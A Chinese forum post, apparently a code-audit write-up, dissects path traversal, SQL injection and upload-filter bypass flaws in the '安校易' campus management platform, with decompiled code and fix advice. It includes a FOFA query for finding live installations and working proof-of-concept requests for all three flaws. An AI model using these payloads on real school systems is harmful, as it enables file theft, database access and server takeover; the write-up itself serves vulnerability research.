找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖

1181

积分

0

好友

153

主题
发表于 5 小时前 | 查看: 3| 回复: 0

在一次对智慧校园管理系统的安全测试中,我发现了几个高危漏洞。这些漏洞存在于一套名为“安校易”的校园综合管理平台中。今天,我们就来详细剖析这套系统的几处安全缺陷,包括任意文件下载、SQL注入以及文件上传绕过漏洞。

首先,我们可以通过特定的网络空间搜索引擎语法来定位这类系统:

title="智慧综合管理平台登入"

通过FOFA搜索“智慧综合管理平台”的结果

其登录界面通常如下所示:

安校易智慧校园管理平台登录界面

1. 任意文件下载漏洞

漏洞复现

该漏洞允许攻击者下载服务器上的任意文件。复现POC如下:

http://target/Module/FileManagement/FileDownLoad.aspx?filePath=../../Web.config&fileName=Web.config

成功利用后,可以看到文件下载的提示框。

成功下载Web.config文件

漏洞分析

漏洞位于 /Module/FileManagement/FileDownLoad.aspx 文件中。

FileDownLoad.aspx页面源码

对应的业务逻辑在反编译的 KR.Administrator.dll 程序集中,位于 KR.Administrator.Module.FileManagement 命名空间下。

反编译程序集中的FileManagement命名空间结构

FileDownload 类的 Page_Load 方法中,代码直接从请求参数中获取 filePathfileName,未做任何过滤,便传递给 BigFileDownload 函数。

protected void Page_Load(object sender, EventArgs e)
{
    string text = base.Request.Params["filePath"];
    string fileName = HttpUtility.UrlDecode(base.Request.Params["fileName"]);
    if (text != null)
    {
        BigFileDownload(fileName, text);
    }
}

Page_Load方法接收参数

BigFileDownload 函数负责读取文件并输出到响应流。它使用了 HttpContext.Current.Server.MapPath(FilePath) 来获取文件的物理路径,但在此之前,对传入的 FilePath 参数没有进行规范化和安全校验。

public void BigFileDownload(string FileName, string FilePath)
{
    Stream stream = null;
    byte[] buffer = new byte[10000];
    string path = HttpContext.Current.Server.MapPath(FilePath);
    Path.GetFileName(path);
    try
    {
        stream = new FileStream(path, FileMode.Open, FileAccess.Read, FileShare.Read);
        long num = stream.Length;
        base.Response.ContentType = "application/octet-stream";
        base.Response.AddHeader("Content-Disposition", "attachment; filename=" + HttpUtility.UrlEncode(FileName));
        while (num > 0)
        {
            // ... 读取并写入响应流的代码
        }
    }
    catch (Exception ex)
    {
        // ... 异常处理
    }
    finally
    {
        stream?.Close();
    }
}

BigFileDownload函数实现

由于缺少对 filePath 参数的规范化检查(例如过滤 ../ 等路径穿越字符),攻击者可以构造像 ../../Web.config 这样的路径,从而下载服务器上的任意敏感文件,形成任意文件下载漏洞。对于这类代码审计工作而言,用户输入的直接拼接是最常见的危险信号之一。

2. SQL注入漏洞

漏洞复现

该漏洞存在于一个插件列表查询接口中,可导致时间盲注。复现数据包如下:

POST /Module/CJGL/Controller/PPlugList.ashx?action=find HTTP/1.1
Host: IP:PORT
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/x-www-form-urlencoded
Connection: close
Content-Length: 33

PlugIdentID=';WAITFOR+DELAY+'0:0:5'--&PlugName=';WAITFOR+DELAY+'0:0:5'--&DataUrl=';WAITFOR+DELAY+'0:0:5'--

发送请求后,服务器响应会出现明显的5秒延迟,并返回500错误。

发送SQL注入Payload后的HTTP响应

使用 sqlmap 等自动化工具可以进一步确认和利用该注入点。

使用sqlmap验证SQL注入漏洞

漏洞分析

漏洞文件位于 /Module/CJGL/Controller/PPlugList.ashx

PPlugList.ashx文件内容

对应的处理类在 KR.Administrator.dllKR.Administrator.Module.Controller 命名空间下,名为 PPlugList

反编译程序集中的Controller命名空间及PPlugList类

PPlugList类的结构

关键点在 AjaxProcess 方法的 case "find":case "findAll": 分支中。代码直接使用 WRequest.GetString 获取用户输入(PlugIdentID, PlugName, DataUrl),并直接拼接到SQL查询条件字符串 text2 中。

case "find":
    // ...
    string text2 = "1=1";
    if (!string.IsNullOrEmpty(WRequest.GetString("PlugIdentID")))
    {
        text2 += string.Format(" and PlugIdentID like '%{0}%'", WRequest.GetString("PlugIdentID"));
    }
    if (!string.IsNullOrEmpty(WRequest.GetString("PlugName")))
    {
        text2 += string.Format(" and PlugName like '%{0}%'", WRequest.GetString("PlugName"));
    }
    if (!string.IsNullOrEmpty(WRequest.GetString("DataUrl")))
    {
        text2 += string.Format(" and DataUrl like '%{0}%'", WRequest.GetString("DataUrl"));
    }
    // ... 后续使用 text2 作为查询条件

AjaxProcess方法中find分支的代码

这里存在两个关键问题:

  1. findfindAll 操作,没有调用 SystemHelper.checkPermission 进行权限验证(对比其他如 selectedDel 操作则有检查)。
  2. 在构建SQL查询条件时,直接使用了字符串拼接,且未对用户输入进行任何转义或过滤。

这种直接拼接用户输入到SQL语句的做法,是典型的SQL注入漏洞成因。攻击者可以闭合原有的SQL语句,并插入恶意指令(如 WAITFOR DELAY),从而实施攻击。

3. 文件上传漏洞(类型检查绕过)

漏洞复现

该漏洞允许上传任意文件,并通过简单的文件头欺骗绕过服务端的类型检查。复现数据包如下:

POST /Module/FileUpPage/FileUpTitle.aspx?file_tmid=c HTTP/1.1
Host: IP:PORT
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=----21909179191068471382830692394
Connection: close
Content-Length: 199

------21909179191068471382830692394
Content-Disposition: form-data; name="File"; filename="test.aspx"
Content-Type: image/jpeg

GIF89a
Pwn!!!
------21909179191068471382830692394--

服务器会返回上传成功的JSON响应。

文件上传请求与成功响应

上传的文件可通过以下路径访问:

http://IP:PORT/imgnews/imgad/000000/c.aspx

访问该URL,可以执行我们上传的ASPX脚本(这里示例仅显示内容)。

访问已上传的ASPX文件

漏洞分析

漏洞文件位于 /Module/FileUpPage/FileUpTitle.aspx

FileUpTitle.aspx页面源码

处理逻辑同样在 KR.Administrator.dll 中,位于 KR.Administrator.Module.FileUpPage.FileUpTitle 类。

反编译程序集中的FileUpPage命名空间及FileUpTitle类

分析 FileUpTitle 类的 Page_Load 方法,其主要逻辑如下:

  1. 从请求中获取参数 orgid(组织ID,默认为”000000″)和 type(上传类型)。
  2. 根据 type 值,文件上传到不同目录:
    • type”newsphoto” 时,上传到 \imgnews\newsphoto\[orgid]\
    • 其他情况(包括type为空或其他值)上传到 \imgnews\imgad\[orgid]\
  3. 文件命名:使用请求参数 ”file_tmid” 作为文件名,保留原文件扩展名。
  4. 文件上传后,调用 SystemHelper.FilePass 方法检查文件类型。如果不是图片类型,则删除文件并返回错误。

FileUpTitle类的Page_Load方法部分代码(目录创建与保存)

FileUpTitle类的Page_Load方法部分代码(类型检查与响应)

问题的核心在于 SystemHelper.FilePass 方法的检查逻辑。跟进这个方法:

public static bool FilePass(string filePath, string fileType)
{
    try
    {
        bool result = false;
        FileStream fileStream = new FileStream(filePath, FileMode.Open, FileAccess.Read);
        BinaryReader binaryReader = new BinaryReader(fileStream);
        string str = binaryReader.ReadByte().ToString();
        str += binaryReader.ReadByte().ToString();
        binaryReader.Close();
        fileStream.Close();
        switch (fileType)
        {
            case "v":
                if (str == "00") { result = true; } break;
            case "rar":
                if (str == "8297") { result = true; } break;
            case "excel":
                if (str == "8075" || str == "208207") { result = true; } break;
            case "key":
                if (str == "76106" || str == "104107") { result = true; } break;
            default:
                switch (str)
                {
                    case "255216": // JPEG
                    case "7173":   // GIF
                    case "13780":  // PNG
                    case "6677":   // BMP
                        result = true;
                        break;
                }
                break;
        }
        return result;
    }
    catch { return false; }
}

SystemHelper.FilePass方法的实现

这个方法的设计初衷是读取文件的前两个字节,将其转换为字符串后与已知的图片文件头魔数进行比对。然而,这里的检查存在严重缺陷:

  1. 检查位置有限:它只检查了文件最开头的两个字节。攻击者可以在合法的图片文件头(如GIF89a)之后,写入任意的恶意代码(如ASPX脚本)。
  2. 逻辑可预测:对于default分支(即fileType参数为空或其他值),它只匹配几个特定的字符串。只要文件头是GIF89a(对应字节7173,拼接字符串为”7173″),就能通过检查。

因此,在POC中,我们上传了一个内容为GIF89a\r\nPwn!!!.aspx文件。文件开头是合法的GIF图片头,成功绕过了FilePass检查,但后续的ASPX内容会被IIS服务器解析执行,从而实现了文件上传漏洞的利用。

总结与反思

本次对“安校易”智慧校园管理系统的分析,揭示了其在输入验证、权限控制和文件安全检查方面的多处缺失:

  1. 任意文件下载:对用户可控的文件路径参数未做规范化过滤,导致目录穿越。
  2. SQL注入:在动态拼接SQL语句时,未对用户输入进行转义,且部分关键操作缺乏权限校验。
  3. 文件上传绕过:服务端的文件类型检查机制过于简单和脆弱,仅检查固定位置的文件头,极易被绕过。

对于企业和开发者而言,修复此类问题需要遵循安全开发规范:所有用户输入必须视为不可信的,进行严格的校验、过滤或参数化处理;实施最小权限原则,对所有敏感操作进行权限校验;对于文件上传功能,应采用白名单机制校验文件扩展名,并在服务器端使用可靠的方法(如检查文件内容结构或使用安全的重命名策略)来确保文件安全性。这些案例也提醒我们,在渗透测试与防御中,对业务逻辑和代码实现的深度审计至关重要。希望这篇分析能对大家的系统安全防护工作有所帮助。如果你想了解更多网络安全实战技术,欢迎访问云栈社区与其他安全爱好者交流探讨。




上一篇:Daggr:用Python实现AI工作流可视化与状态调试
下一篇:Python热重载利器watchfiles:基于Rust的高效文件监听与自动重启方案
您需要登录后才可以回帖 登录 | 立即注册

手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

GMT+8, 2026-2-7 21:39 , Processed in 0.503747 second(s), 38 queries , Gzip On.

Powered by Discuz! X3.5

© 2025-2026 云栈社区.

快速回复 返回顶部 返回列表